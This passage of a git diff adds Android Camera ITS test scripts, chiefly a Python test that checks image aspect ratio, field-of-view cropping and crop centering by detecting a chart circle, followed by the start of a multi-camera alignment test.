+            sharpnesses_reprocess[reprocess_format][EDGE_MODES['HQ']] /
+            sharpnesses_reprocess[reprocess_format][EDGE_MODES['OFF']])
+        hq_div_off_regular = (
+            sharpness_regular[EDGE_MODES['HQ']] /
+            sharpness_regular[EDGE_MODES['OFF']])
+        e_msg = 'HQ/OFF_reprocess: %.4f, HQ/OFF_reg: %.4f, RTOL: %.2f' % (
+            hq_div_off_reprocess, hq_div_off_regular, SHARPNESS_RTOL)
+        logging.debug('Verify reprocess HQ ~= reg HQ relative to OFF')
+        assert np.isclose(hq_div_off_reprocess, hq_div_off_regular,
+                          SHARPNESS_RTOL), e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene4/scene4.pdf b/apps/CameraITS2.0/tests/scene4/scene4.pdf
new file mode 100644
index 0000000..7dcc4b9
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene4/scene4.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene4/scene4_0.5x_scaled.pdf b/apps/CameraITS2.0/tests/scene4/scene4_0.5x_scaled.pdf
new file mode 100644
index 0000000..589a3b4
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene4/scene4_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene4/scene4_0.67x_scaled.pdf b/apps/CameraITS2.0/tests/scene4/scene4_0.67x_scaled.pdf
new file mode 100644
index 0000000..7fb1e42
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene4/scene4_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS2.0/tests/scene4/test_aspect_ratio_and_crop.py
new file mode 100644
index 0000000..774177d
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene4/test_aspect_ratio_and_crop.py
@@ -0,0 +1,565 @@
+# Copyright 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import math
+import os.path
+from mobly import test_runner
+import numpy as np
+
+import cv2
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import cv2_image_processing_utils
+import image_processing_utils
+import its_session_utils
+
+_CIRCLE_COLOR = 0  # [0: black, 255: white].
+_CIRCLE_MIN_AREA = 0.01  # 1% of image size.
+_FOV_PERCENT_RTOL = 0.15  # Relative tolerance on circle FoV % to expected.
+_LARGE_SIZE = 2000  # Size of a large image (compared against max(w, h)).
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_PREVIEW_SIZE = (1920, 1080)
+_THRESH_AR_L = 0.02  # Aspect ratio test threshold of large images.
+_THRESH_AR_S = 0.075  # Aspect ratio test threshold of mini images.
+_THRESH_CROP_L = 0.02  # Crop test threshold of large images.
+_THRESH_CROP_S = 0.075  # Crop test threshold of mini images.
+_THRESH_MIN_PIXEL = 4  # Crop test allowed offset.
+
+# Before API level 30, only resolutions with the following listed aspect ratio
+# are checked. Device launched after API level 30 will need to pass the test
+# for all advertised resolutions. Device launched before API level 30 just
+# needs to pass the test for all resolutions within these aspect ratios.
+_AR_CHECKED_PRE_API_30 = ('4:3', '16:9', '18:9')
+_AR_DIFF_ATOL = 0.01
+
+
+def _check_skip_conditions(first_api_level, props):
+  """Check the skip conditions based on first API level."""
+  if first_api_level < 30:  # Original constraint.
+    camera_properties_utils.skip_unless(camera_properties_utils.read_3a(props))
+  else:  # Loosen from read_3a to enable LIMITED coverage.
+    camera_properties_utils.skip_unless(
+        camera_properties_utils.ae_lock(props) and
+        camera_properties_utils.awb_lock(props))
+
+
+def _check_basic_correctness(cap, fmt_iter, w_iter, h_iter):
+  """Check the capture for basic correctness."""
+  if cap['format'] != fmt_iter:
+    raise AssertionError
+  if cap['width'] != w_iter:
+    raise AssertionError
+  if cap['height'] != h_iter:
+    raise AssertionError
+
+
+def _create_format_list():
+  """Create format list for multiple capture objects.
+
+  Do multi-capture of 'iter' and 'cmpr'. Iterate through all the available
+  sizes of 'iter', and only use the size specified for 'cmpr'.
+  The 'cmpr' capture is only used so that we have multiple capture target
+  instead of just one, which should help catching more potential issues.
+  The test doesn't look into the output of 'cmpr' images at all.
+  The 'iter_max' or 'cmpr_size' key defines the maximal size being iterated
+  or selected for the 'iter' and 'cmpr' stream accordingly. None means no
+  upper bound is specified.
+
+  Args:
+    None
+
+  Returns:
+    format_list
+  """
+  format_list = []
+  format_list.append({'iter': 'yuv', 'iter_max': None,
+                      'cmpr': 'yuv', 'cmpr_size': _PREVIEW_SIZE})
+  format_list.append({'iter': 'yuv', 'iter_max': _PREVIEW_SIZE,
+                      'cmpr': 'jpeg', 'cmpr_size': None})
+  format_list.append({'iter': 'yuv', 'iter_max': _PREVIEW_SIZE,
+                      'cmpr': 'raw', 'cmpr_size': None})
+  format_list.append({'iter': 'jpeg', 'iter_max': None,
+                      'cmpr': 'raw', 'cmpr_size': None})
+  format_list.append({'iter': 'jpeg', 'iter_max': None,
+                      'cmpr': 'yuv', 'cmpr_size': _PREVIEW_SIZE})
+  return format_list
+
+
+def _print_failed_test_results(failed_ar, failed_fov, failed_crop):
+  """Print failed test results."""
+  if failed_ar:
+    logging.error('Aspect ratio test summary')
+    logging.error('Images failed in the aspect ratio test:')
+    logging.error('Aspect ratio value: width / height')
+    for fa in failed_ar:
+      logging.error('%s with %s %dx%d: %.3f; valid range %.3f ~ %.3f',
+                    fa['fmt_iter'], fa['fmt_cmpr'], fa['w'], fa['h'], fa['ar'],
+                    fa['valid_range'][0], fa['valid_range'][1])
+
+  if failed_fov:
+    logging.error('FoV test summary')
+    logging.error('Images failed in the FoV test:')
+    for fov in failed_fov:
+      logging.error('%s', str(fov))
+
+  if failed_crop:
+    logging.error('Crop test summary')
+    logging.error('Images failed in the crop test:')
+    logging.error('Circle center (H x V) relative to the image center.')
+    for fc in failed_crop:
+      logging.error('%s with %s %dx%d: %.3f x %.3f', fc['fmt_iter'],
+                    fc['fmt_cmpr'], fc['w'], fc['h'], fc['ct_hori'],
+                    fc['ct_vert'])
+      logging.error('valid H range: %.3f ~ %.3f', fc['valid_range_h'][0],
+                    fc['valid_range_h'][1])
+      logging.error('valid V range: %.3f ~ %.3f', fc['valid_range_v'][0],
+                    fc['valid_range_v'][1])
+  if failed_ar:
+    raise RuntimeError
+  if failed_fov:
+    raise RuntimeError
+  if failed_crop:  # failed_crop = [] if run_crop_test = False.
+    raise RuntimeError
+
+
+def _is_checked_aspect_ratio(first_api_level, w, h):
+  """Determine if format aspect ratio is a checked on based of first_API."""
+  if first_api_level >= 30:
+    return True
+
+  for ar_check in _AR_CHECKED_PRE_API_30:
+    match_ar_list = [float(x) for x in ar_check.split(':')]
+    match_ar = match_ar_list[0] / match_ar_list[1]
+    if np.isclose(float(w) / h, match_ar, atol=_AR_DIFF_ATOL):
+      return True
+
+  return False
+
+
+def _calc_expected_circle_image_ratio(ref_fov, img_w, img_h):
+  """Determine the circle image area ratio in percentage for a given image size.
+
+  Cropping happens either horizontally or vertically. In both cases crop results
+  in the visble area reduced by a ratio r (r < 1) and the circle will in turn
+  occupy ref_pct/r (percent) on the target image size.
+
+  Args:
+    ref_fov: dict with {fmt, % coverage, w, h, circle_w, circle_h}
+    img_w: the image width
+    img_h: the image height
+
+  Returns:
+    chk_percent: the expected circle image area ratio in percentage
+  """
+  ar_ref = ref_fov['w'] / ref_fov['h']
+  ar_target = img_w / img_h
+
+  r = ar_ref / ar_target
+  if r < 1.0:
+    r = 1.0 / r
+  return ref_fov['percent'] * r
+
+
+def _find_raw_fov_reference(cam, req, props, log_path):
+  """Determine the circle coverage of the image in RAW reference image.
+
+  Captures a full-frame RAW and uses its aspect ratio and circle center
+  location as ground truth for the other jpeg or yuv images.
+
+  The intrinsics and distortion coefficients are meant for full-sized RAW,
+  so convert_capture_to_rgb_image returns a 2x downsampled version, so resizes
+  RGB back to full size.
+
+  If the device supports lens distortion correction, applies the coefficients on
+  the RAW image so it can be compared to YUV/JPEG outputs which are subject
+  to the same correction via ISP.
+
+  Finds circle size and location for reference values in calculations for other
+  formats.
+
+  Args:
+    cam: camera object
+    req: camera request
+    props: camera properties
+    log_path: location to save data
+
+  Returns:
+    ref_fov: dict with [fmt, % coverage, w, h, circle_w, circle_h]
+    cc_ct_gt: circle center position relative to the center of image.
+    aspect_ratio_gt: aspect ratio of the detected circle in float.
+  """
+  logging.debug('Creating references for fov_coverage from RAW')
+  out_surface = {'format': 'raw'}
+  cap_raw = cam.do_capture(req, out_surface)
+  logging.debug('Captured RAW %dx%d', cap_raw['width'], cap_raw['height'])
+  img_raw = image_processing_utils.convert_capture_to_rgb_image(
+      cap_raw, props=props)
+  # Resize back up to full scale.
+  img_raw = cv2.resize(img_raw, (0, 0), fx=2.0, fy=2.0)
+
+  if (camera_properties_utils.distortion_correction(props) and
+      camera_properties_utils.intrinsic_calibration(props)):
+    logging.debug('Applying intrinsic calibration and distortion params')
+    fd = float(cap_raw['metadata']['android.lens.focalLength'])
+    k = camera_properties_utils.get_intrinsic_calibration(props, True, fd)
+    opencv_dist = camera_properties_utils.get_distortion_matrix(props)
+    img_raw = cv2.undistort(img_raw, k, opencv_dist)
+
+  # Get image size.
+  size_raw = img_raw.shape
+  w_raw = size_raw[1]
+  h_raw = size_raw[0]
+  img_name = '%s_%s_w%d_h%d.png' % (
+      os.path.join(log_path, _NAME), 'raw', w_raw, h_raw)
+  image_processing_utils.write_image(img_raw, img_name, True)
+
+  # Find circle.
+  img_raw *= 255  # cv2 needs images between [0,255].
+  circle_raw = cv2_image_processing_utils.find_circle(
+      img_raw, img_name, _CIRCLE_MIN_AREA, _CIRCLE_COLOR)
+  cv2_image_processing_utils.append_circle_center_to_img(circle_raw, img_raw,
+                                                         img_name)
+
+  # Determine final return values.
+  aspect_ratio_gt = circle_raw['w'] / circle_raw['h']
+  cc_ct_gt = {'hori': circle_raw['x_offset'], 'vert': circle_raw['y_offset']}
+  raw_fov_percent = _calc_circle_image_ratio(circle_raw['r'], w_raw, h_raw)
+  ref_fov = {}
+  ref_fov['fmt'] = 'RAW'
+  ref_fov['percent'] = raw_fov_percent
+  ref_fov['w'] = w_raw
+  ref_fov['h'] = h_raw
+  ref_fov['circle_w'] = circle_raw['w']
+  ref_fov['circle_h'] = circle_raw['h']
+  logging.debug('Using RAW reference: %s', str(ref_fov))
+  return ref_fov, cc_ct_gt, aspect_ratio_gt
+
+
+def _find_jpeg_fov_reference(cam, req, props, log_path):
+  """Determine the circle coverage of the image in JPEG reference image.
+
+  Similar to _find_raw_fov_reference() and used when RAW is not available.
+
+  Args:
+    cam: camera object
+    req: camera request
+    props: camera properties
+    log_path: location to save data
+
+  Returns:
+    ref_fov: dict with [fmt, % coverage, w, h, circle_w, circle_h]
+    cc_ct_gt: circle center position relative to the center of image.
+  """
+  ref_fov = {}
+  fmt = capture_request_utils.get_largest_jpeg_format(props)
+  # Capture and determine circle area in image.
+  cap = cam.do_capture(req, fmt)
+  w = cap['width']
+  h = cap['height']
+
+  img = image_processing_utils.convert_capture_to_rgb_image(cap, props)
+  img *= 255  # cv2 works with [0,255] images.
+  logging.debug('Captured JPEG %dx%d', w, h)
+  img_name = '%s_jpeg_w%d_h%d.png' % (os.path.join(log_path, _NAME), w, h)
+  circle_jpg = cv2_image_processing_utils.find_circle(
+      img, img_name, _CIRCLE_MIN_AREA, _CIRCLE_COLOR)
+  cv2_image_processing_utils.append_circle_center_to_img(circle_jpg, img,
+                                                         img_name)
+
+  # Determine final return values.
+  cc_ct_gt = {'hori': circle_jpg['x_offset'], 'vert': circle_jpg['y_offset']}
+  fov_percent = _calc_circle_image_ratio(circle_jpg['r'], w, h)
+  ref_fov = {}
+  ref_fov['fmt'] = 'JPEG'
+  ref_fov['percent'] = fov_percent
+  ref_fov['w'] = w
+  ref_fov['h'] = h
+  ref_fov['circle_w'] = circle_jpg['w']
+  ref_fov['circle_h'] = circle_jpg['h']
+  logging.debug('Using JPEG reference: %s', str(ref_fov))
+  return ref_fov, cc_ct_gt
+
+
+def _calc_circle_image_ratio(radius, img_w, img_h):
+  """Calculate the percent of area the input circle covers in input image.
+
+  Args:
+    radius: radius of circle
+    img_w: int width of image
+    img_h: int height of image
+  Returns:
+    fov_percent: float % of image covered by circle
+  """
+  return 100 * math.pi * math.pow(radius, 2) / (img_w * img_h)
+
+
+def _check_fov(circle, ref_fov, w, h, first_api_level):
+  """Check the FoV for correct size."""
+  fov_percent = _calc_circle_image_ratio(circle['r'], w, h)
+  chk_percent = _calc_expected_circle_image_ratio(ref_fov, w, h)
+  chk_enabled = _is_checked_aspect_ratio(first_api_level, w, h)
+  if chk_enabled and not np.isclose(fov_percent, chk_percent,
+                                    rtol=_FOV_PERCENT_RTOL):
+    e_msg = 'FoV %%: %.2f, Ref FoV %%: %.2f, ' % (fov_percent, chk_percent)
+    e_msg += 'TOL=%.f%%, img: %dx%d, ref: %dx%d' % (
+        _FOV_PERCENT_RTOL*100, w, h, ref_fov['w'], ref_fov['h'])
+    return e_msg
+
+
+def _check_ar(circle, ar_gt, w, h, fmt_iter, fmt_cmpr):
+  """Check the aspect ratio of the circle.
+
+  size is the larger of w or h.
+  if size >= LARGE_SIZE: use THRESH_AR_L
+  elif size == 0 (extreme case): THRESH_AR_S
+  elif 0 < image size < LARGE_SIZE: scale between THRESH_AR_S & THRESH_AR_L
+
+  Args:
+    circle: dict with circle parameters
+    ar_gt: aspect ratio ground truth to compare against
+    w: width of image
+    h: height of image
+    fmt_iter: format of primary capture
+    fmt_cmpr: format of secondary capture
+
+  Returns:
+    dict of info if check fails
+  """
+  thresh_ar = max(_THRESH_AR_L, _THRESH_AR_S +
+                  max(w, h) * (_THRESH_AR_L-_THRESH_AR_S) / _LARGE_SIZE)
+  ar = circle['w'] / circle['h']
+  if not np.isclose(ar, ar_gt, atol=thresh_ar):
+    return {'fmt_iter': fmt_iter, 'fmt_cmpr': fmt_cmpr,
+            'w': w, 'h': h, 'ar': ar, 'thresh': thresh_ar}
+
+
+def _check_crop(circle, cc_gt, w, h, fmt_iter, fmt_cmpr, crop_thresh_factor):
+  """Check cropping.
+
+  if size >= LARGE_SIZE: use thresh_crop_l
+  elif size == 0 (extreme case): thresh_crop_s
+  elif 0 < size < LARGE_SIZE: scale between thresh_crop_s & thresh_crop_l
+  Also allow at least THRESH_MIN_PIXEL to prevent threshold being too tight
+  for very small circle.
+
+  Args:
+    circle: dict of circle values
+    cc_gt: circle center {'hori', 'vert'}  ground truth (ref'd to img center)
+    w: width of image
+    h: height of image
+    fmt_iter: format of primary capture
+    fmt_cmpr: format of secondary capture
+    crop_thresh_factor: scaling factor for crop thresholds
+
+  Returns:
+    dict of info for error
+  """
+  thresh_crop_l = _THRESH_CROP_L * crop_thresh_factor
+  thresh_crop_s = _THRESH_CROP_S * crop_thresh_factor
+  thresh_crop_hori = max(
+      [thresh_crop_l,
+       thresh_crop_s + w * (thresh_crop_l - thresh_crop_s) / _LARGE_SIZE,
+       _THRESH_MIN_PIXEL / circle['w']])
+  thresh_crop_vert = max(
+      [thresh_crop_l,
+       thresh_crop_s + h * (thresh_crop_l - thresh_crop_s) / _LARGE_SIZE,
+       _THRESH_MIN_PIXEL / circle['h']])
+
+  if (not np.isclose(circle['x_offset'], cc_gt['hori'],
+                     atol=thresh_crop_hori) or
+      not np.isclose(circle['y_offset'], cc_gt['vert'],
+                     atol=thresh_crop_vert)):
+    return {'fmt_iter': fmt_iter, 'fmt_cmpr': fmt_cmpr, 'w': w, 'h': h,
+            'ct_hori': circle['x_offset'], 'ct_vert': circle['y_offset'],
+            'thresh_h': thresh_crop_hori, 'thresh_v': thresh_crop_vert}
+
+
+class AspectRatioAndCropTest(its_base_test.ItsBaseTest):
+  """Test aspect ratio/field of view/cropping for each tested fmt combinations.
+
+  This test checks for:
+    1. Aspect ratio: images are not stretched
+    2. Crop: center of images is not shifted
+    3. FOV: images cropped to keep maximum possible FOV with only 1 dimension
+       (horizontal or veritical) cropped.
+
+  Aspect ratio and FOV test runs on level3, full and limited devices.
+  Crop test only runs on level3 and full devices.
+
+  The test chart is a black circle inside a black square. When raw capture is
+  available, set the height vs. width ratio of the circle in the full-frame
+  raw as ground truth. In an ideal setup such ratio should be very close to
+  1.0, but here we just use the value derived from full resolution RAW as
+  ground truth to account for the possibility that the chart is not well
+  positioned to be precisely parallel to image sensor plane.
+  The test then compares the ground truth ratio with the same ratio measured
+  on images captued using different stream combinations of varying formats
+  ('jpeg' and 'yuv') and resolutions.
+  If raw capture is unavailable, a full resolution JPEG image is used to setup
+  ground truth. In this case, the ground truth aspect ratio is defined as 1.0
+  and it is the tester's responsibility to make sure the test chart is
+  properly positioned so the detected circles indeed have aspect ratio close
+  to 1.0 assuming no bugs causing image stretched.
+
+  The aspect ratio test checks the aspect ratio of the detected circle and
+  it will fail if the aspect ratio differs too much from the ground truth
+  aspect ratio mentioned above.
+
+  The FOV test examines the ratio between the detected circle area and the
+  image size. When the aspect ratio of the test image is the same as the
+  ground truth image, the ratio should be very close to the ground truth
+  value. When the aspect ratio is different, the difference is factored in
+  per the expectation of the Camera2 API specification, which mandates the
+  FOV reduction from full sensor area must only occur in one dimension:
+  horizontally or vertically, and never both. For example, let's say a sensor
+  has a 16:10 full sensor FOV. For all 16:10 output images there should be no
+  FOV reduction on them. For 16:9 output images the FOV should be vertically
+  cropped by 9/10. For 4:3 output images the FOV should be cropped
+  horizontally instead and the ratio (r) can be calculated as follows:
+      (16 * r) / 10 = 4 / 3 => r = 40 / 48 = 0.8333
+  Say the circle is covering x percent of the 16:10 sensor on the full 16:10
+  FOV, and assume the circle in the center will never be cut in any output
+  sizes (this can be achieved by picking the right size and position of the
+  test circle), the from above cropping expectation we can derive on a 16:9
+  output image the circle will cover (x / 0.9) percent of the 16:9 image; on
+  a 4:3 output image the circle will cover (x / 0.8333) percent of the 4:3
+  image.
+
+  The crop test checks that the center of any output image remains aligned
+  with center of sensor's active area, no matter what kind of cropping or
+  scaling is applied. The test verifies that by checking the relative vector
+  from the image center to the center of detected circle remains unchanged.
+  The relative part is normalized by the detected circle size to account for
+  scaling effect.
+  """
+
+  def test_aspect_ratio_and_crop(self):
+    logging.debug('Starting %s', _NAME)
+    failed_ar = []  # Streams failed the aspect ratio test.
+    failed_crop = []  # Streams failed the crop test.
+    failed_fov = []  # Streams that fail FoV test.
+    format_list = _create_format_list()
+
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      fls_logical = props['android.lens.info.availableFocalLengths']
+      logging.debug('logical available focal lengths: %s', str(fls_logical))
+      props = cam.override_with_hidden_physical_camera_props(props)
+      fls_physical = props['android.lens.info.availableFocalLengths']
+      logging.debug('physical available focal lengths: %s', str(fls_physical))
+      log_path = self.log_path
+
+      # Check SKIP conditions.
+      first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
+      _check_skip_conditions(first_api_level, props)
+
+      # Load chart for scene.
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Determine camera capabilities.
+      full_or_better = camera_properties_utils.full_or_better(props)
+      raw_avlb = camera_properties_utils.raw16(props)
+      debug = self.debug_mode
+
+      # Converge 3A.
+      cam.do_3a()
+      req = capture_request_utils.auto_capture_request()
+
+      # If raw is available and main camera, use it as ground truth.
+      if raw_avlb and (fls_physical == fls_logical):
+        ref_fov, cc_ct_gt, aspect_ratio_gt = _find_raw_fov_reference(
+            cam, req, props, log_path)
+      else:
+        aspect_ratio_gt = 1.0  # Ground truth circle width/height ratio.
+        ref_fov, cc_ct_gt = _find_jpeg_fov_reference(cam, req, props, log_path)
+
+      run_crop_test = full_or_better and raw_avlb
+      if run_crop_test:
+        # Normalize the circle size to 1/4 of the image size, so that
+        # circle size won't affect the crop test result
+        crop_thresh_factor = ((min(ref_fov['w'], ref_fov['h']) / 4.0) /
+                              max(ref_fov['circle_w'], ref_fov['circle_h']))
+      else:
+        logging.debug('Crop test skipped')
+
+      # Take pictures of each settings with all the image sizes available.
+      for fmt in format_list:
+        fmt_iter = fmt['iter']
+        fmt_cmpr = fmt['cmpr']
+        # Get the size of 'cmpr'.
+        sizes = capture_request_utils.get_available_output_sizes(
+            fmt_cmpr, props, fmt['cmpr_size'])
+        if not sizes:  # Device might not support RAW.
+          continue
+        w_cmpr, h_cmpr = sizes[0][0], sizes[0][1]
+        for size_iter in capture_request_utils.get_available_output_sizes(
+            fmt_iter, props, fmt['iter_max']):
+          w_iter, h_iter = size_iter[0], size_iter[1]
+          # Skip same format/size combination: ITS doesn't handle that properly.
+          if w_iter*h_iter == w_cmpr*h_cmpr and fmt_iter == fmt_cmpr:
+            continue
+          out_surface = [{'width': w_iter, 'height': h_iter,
+                          'format': fmt_iter}]
+          out_surface.append({'width': w_cmpr, 'height': h_cmpr,
+                              'format': fmt_cmpr})
+
+          cap = cam.do_capture(req, out_surface)[0]
+          _check_basic_correctness(cap, fmt_iter, w_iter, h_iter)
+          logging.debug('Captured %s with %s %dx%d. Compared size: %dx%d',
+                        fmt_iter, fmt_cmpr, w_iter, h_iter, w_cmpr, h_cmpr)
+          img = image_processing_utils.convert_capture_to_rgb_image(cap)
+          img *= 255  # cv2 uses [0, 255].
+          img_name = '%s_%s_with_%s_w%d_h%d.png' % (
+              os.path.join(log_path, _NAME), fmt_iter, fmt_cmpr, w_iter, h_iter)
+          circle = cv2_image_processing_utils.find_circle(
+              img, img_name, _CIRCLE_MIN_AREA, _CIRCLE_COLOR)
+          if debug:
+            cv2_image_processing_utils.append_circle_center_to_img(circle, img,
+                                                                   img_name)
+
+          # Check pass/fail for fov coverage for all fmts in AR_CHECKED
+          img /= 255  # image_processing_utils uses [0, 1].
+          fov_chk_msg = _check_fov(circle, ref_fov, w_iter, h_iter,
+                                   first_api_level)
+          if fov_chk_msg:
+            failed_fov.append(fov_chk_msg)
+            image_processing_utils.write_image(img, img_name, True)
+
+          # Check pass/fail for aspect ratio.
+          ar_chk_msg = _check_ar(
+              circle, aspect_ratio_gt, w_iter, h_iter, fmt_iter, fmt_cmpr)
+          if ar_chk_msg:
+            failed_ar.append(ar_chk_msg)
+            image_processing_utils.write_image(img, img_name, True)
+
+          # Check pass/fail for crop.
+          if run_crop_test:
+            crop_chk_msg = _check_crop(circle, cc_ct_gt, w_iter, h_iter,
+                                       fmt_iter, fmt_cmpr, crop_thresh_factor)
+            if crop_chk_msg:
+              failed_crop.append(crop_chk_msg)
+              image_processing_utils.write_image(img, img_name, True)
+
+      # Print any failed test results.
+      _print_failed_test_results(failed_ar, failed_fov, failed_crop)
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS2.0/tests/scene4/test_multi_camera_alignment.py
new file mode 100644
index 0000000..2619c73
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene4/test_multi_camera_alignment.py
@@ -0,0 +1,571 @@
+# Copyright 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import math
+import os.path
+from mobly import test_runner
+import numpy as np
+
+import cv2
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import cv2_image_processing_utils
+import image_processing_utils
+import its_session_utils
+
+ALIGN_TOL_MM = 4.0  # mm
+ALIGN_TOL = 0.01  # multiplied by sensor diagonal to convert to pixels
+CIRCLE_COLOR = 0  # [0: black, 255: white]
+CIRCLE_MIN_AREA = 0.01  # multiplied by image size
+CIRCLE_RTOL = 0.1  # 10%
+CM_TO_M = 1E-2
+FMT_CODE_RAW = 0x20
+FMT_CODE_YUV = 0x23
+LENS_FACING_BACK = 1  # 0: FRONT, 1: BACK, 2: EXTERNAL
+M_TO_MM = 1E3
+MM_TO_UM = 1E3
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+REFERENCE_GYRO = 1
+REFERENCE_UNDEFINED = 2
+TRANS_MATRIX_REF = np.array([0, 0, 0])  # translation matrix for ref cam is 000
+
+
+def convert_cap_and_prep_img(cap, props, fmt, img_name, debug):
+  """Convert the capture to an RGB image and prep image.
+
+  Args:
+    cap: capture element
+    props: dict of capture properties
+    fmt: capture format ('raw' or 'yuv')
+    img_name: name to save image as
+    debug: boolean for debug mode
+
+  Returns:
+    img uint8 numpy array
+  """
+
+  img = image_processing_utils.convert_capture_to_rgb_image(cap, props=props)
+
+  # save images if debug
+  if debug:
+    image_processing_utils.write_image(img, img_name)
+
+  # convert to [0, 255] images and cast as uint8
+  img *= 255
+  img = img.astype(np.uint8)
+
+  # scale to match calibration data if RAW
+  if fmt == 'raw':
+    img = cv2.resize(img, None, fx=2, fy=2)
+
+  return img
+
+
+def calc_pixel_size(props):
+  ar = props['android.sensor.info.pixelArraySize']
+  sensor_size = props['android.sensor.info.physicalSize']
+  pixel_size_w = sensor_size['width'] / ar['width']
+  pixel_size_h = sensor_size['height'] / ar['height']
+  logging.debug('pixel size(um): %.2f x %.2f',
+                pixel_size_w * MM_TO_UM, pixel_size_h * MM_TO_UM)
+  return (pixel_size_w + pixel_size_h) / 2 * MM_TO_UM
+
+
+def select_ids_to_test(ids, props, chart_distance):
+  """Determine the best 2 cameras to test for the rig used.
+
+  Cameras are pre-filtered to only include supportable cameras.
+  Supportable cameras are: YUV(RGB), RAW(Bayer)
+
+  Args:
+    ids: unicode string; physical camera ids
+    props: dict; physical camera properties dictionary
+    chart_distance: float; distance to chart in meters
+  Returns:
+    test_ids to be tested
+  """
+  chart_distance = abs(chart_distance)*100  # convert M to CM
+  test_ids = []
+  for i in ids:
+    sensor_size = props[i]['android.sensor.info.physicalSize']
+    focal_l = props[i]['android.lens.info.availableFocalLengths'][0]
+    diag = math.sqrt(sensor_size['height'] ** 2 + sensor_size['width'] ** 2)
+    fov = round(2 * math.degrees(math.atan(diag / (2 * focal_l))), 2)
+    logging.debug('Camera: %s, FoV: %.2f, chart_distance: %.1fcm', i, fov,
+                  chart_distance)
+    # determine best combo with rig used or recommend different rig
+    if (cv2_image_processing_utils.FOV_THRESH_TELE < fov <
+        cv2_image_processing_utils.FOV_THRESH_WFOV):
+      test_ids.append(i)  # RFoV camera
+    elif fov < cv2_image_processing_utils.FOV_THRESH_SUPER_TELE:
+      logging.debug('Skipping camera. Not appropriate multi-camera testing.')
+      continue  # super-TELE camera
+    elif (fov <= cv2_image_processing_utils.FOV_THRESH_TELE and
+          np.isclose(chart_distance,
+                     cv2_image_processing_utils.CHART_DISTANCE_RFOV, rtol=0.1)):
+      test_ids.append(i)  # TELE camera in RFoV rig
+    elif (fov >= cv2_image_processing_utils.FOV_THRESH_WFOV and
+          np.isclose(chart_distance,
+                     cv2_image_processing_utils.CHART_DISTANCE_WFOV, rtol=0.1)):
+      test_ids.append(i)  # WFoV camera in WFoV rig
+    else:
+      logging.debug('Skipping camera. Not appropriate for test rig.')
+
+  e_msg = 'Error: started with 2+ cameras, reduced to <2. Wrong test rig?'
+  e_msg += '\ntest_ids: %s' % str(test_ids)
+  assert len(test_ids) >= 2, e_msg
+  return test_ids[0:2]
+
+
+def determine_valid_out_surfaces(cam, props, fmt, cap_camera_ids, sizes):
+  """Determine a valid output surfaces for captures.
+
+  Args:
+    cam:                obj; camera object
+    props:              dict; props for the physical cameras
+    fmt:                str; capture format ('yuv' or 'raw')
+    cap_camera_ids:     list; camera capture ids
+    sizes:              dict; valid physical sizes for the cap_camera_ids
+
+  Returns:
+    valid out_surfaces
+  """
+  valid_stream_combo = False
+
+  # try simultaneous capture
+  w, h = capture_request_utils.get_available_output_sizes('yuv', props)[0]
+  out_surfaces = [{'format': 'yuv', 'width': w, 'height': h},
+                  {'format': fmt, 'physicalCamera': cap_camera_ids[0],
+                   'width': sizes[cap_camera_ids[0]][0],
+                   'height': sizes[cap_camera_ids[0]][1]},
+                  {'format': fmt, 'physicalCamera': cap_camera_ids[1],
+                   'width': sizes[cap_camera_ids[1]][0],
+                   'height': sizes[cap_camera_ids[1]][1]},]
+  valid_stream_combo = cam.is_stream_combination_supported(out_surfaces)
+
+  # try each camera individually
+  if not valid_stream_combo:
+    out_surfaces = []
+    for cap_id in cap_camera_ids:
+      out_surface = {'format': fmt, 'physicalCamera': cap_id,
+                     'width': sizes[cap_id][0],
+                     'height': sizes[cap_id][1]}
+      valid_stream_combo = cam.is_stream_combination_supported(out_surface)
+      if valid_stream_combo:
+        out_surfaces.append(out_surface)
+      else:
+        camera_properties_utils.skip_unless(valid_stream_combo)
+
+  return out_surfaces
+
+
+def take_images(cam, caps, props, fmt, cap_camera_ids, out_surfaces, log_path,
+                debug):
+  """Do image captures.
+
+  Args:
+    cam: obj; camera object
+    caps: dict; capture results indexed by (fmt, id)
+    props: dict; props for the physical cameras
+    fmt: str; capture format ('yuv' or 'raw')
+    cap_camera_ids: list; camera capture ids
+    out_surfaces: list; valid output surfaces for caps
+    log_path: str; location to save files
+    debug: bool; determine if debug mode or not.
+
+  Returns:
